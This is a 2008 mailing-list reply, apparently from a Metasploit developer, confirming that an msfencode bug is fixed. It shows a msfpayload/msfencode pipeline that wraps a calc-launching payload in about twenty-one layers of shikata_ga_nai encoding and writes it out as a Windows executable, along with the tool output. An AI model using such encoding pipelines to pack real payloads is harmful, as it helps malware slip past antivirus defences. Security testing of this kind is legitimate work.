MSFEncode bug doesn't encode EXE's or VBA's

[hdm at metasploit.com (H D Moore)]

On Friday 19 December 2008, Mark Baggett wrote:
> It seems there is an error in msfencode.  Today It doesn't encode the
> payload when an output type of EXE or VBA is selected.   Looking at
> code, the problem for payloads of type exe  and vba is this:

The code has been updated in trunk and the bugs are all fixed:

$ msfpayload windows/exec CMD="cmd.exe /c start calc" | \
  EXITFUNC=process R | \
 msfencode -a x86 -t raw | \
 msfencode -a x86 -t raw | \
 msfencode -a x86 -t raw | \
 msfencode -a x86 -t raw | \
 msfencode -a x86 -t raw | \
 msfencode -a x86 -t raw | \
 msfencode -a x86 -t raw | \
 msfencode -a x86 -t raw | \
 msfencode -a x86 -t raw | \
 msfencode -a x86 -t raw | \
 msfencode -a x86 -t raw | \
 msfencode -a x86 -t raw | \
 msfencode -a x86 -t raw | \
 msfencode -a x86 -t raw | \
 msfencode -a x86 -t raw | \
 msfencode -a x86 -t raw | \
 msfencode -a x86 -t raw | \
 msfencode -a x86 -t raw | \
 msfencode -a x86 -t raw | \
 msfencode -a x86 -t raw | \
 msfencode -a x86 -t exe -o mangled.exe

[*] x86/shikata_ga_nai succeeded, final size 162
[*] x86/shikata_ga_nai succeeded, final size 189
[*] x86/shikata_ga_nai succeeded, final size 216
[*] x86/shikata_ga_nai succeeded, final size 243
[*] x86/shikata_ga_nai succeeded, final size 270
[*] x86/shikata_ga_nai succeeded, final size 297
[*] x86/shikata_ga_nai succeeded, final size 324
[*] x86/shikata_ga_nai succeeded, final size 351
[*] x86/shikata_ga_nai succeeded, final size 378
[*] x86/shikata_ga_nai succeeded, final size 405
[*] x86/shikata_ga_nai succeeded, final size 432
[*] x86/shikata_ga_nai succeeded, final size 459
[*] x86/shikata_ga_nai succeeded, final size 486
[*] x86/shikata_ga_nai succeeded, final size 513
[*] x86/shikata_ga_nai succeeded, final size 540
[*] x86/shikata_ga_nai succeeded, final size 567
[*] x86/shikata_ga_nai succeeded, final size 594
[*] x86/shikata_ga_nai succeeded, final size 621
[*] x86/shikata_ga_nai succeeded, final size 648
[*] x86/shikata_ga_nai succeeded, final size 675
[*] x86/shikata_ga_nai succeeded, final size 702

$ ls -la mangled.exe 
-rwxr--r-x 1 hdm hdm 9728 Dec 24 02:38 mangled.exe

$ file mangled.exe
mangled.exe: MS-DOS executable PE  for MS Windows (GUI) Intel 80386 32-bit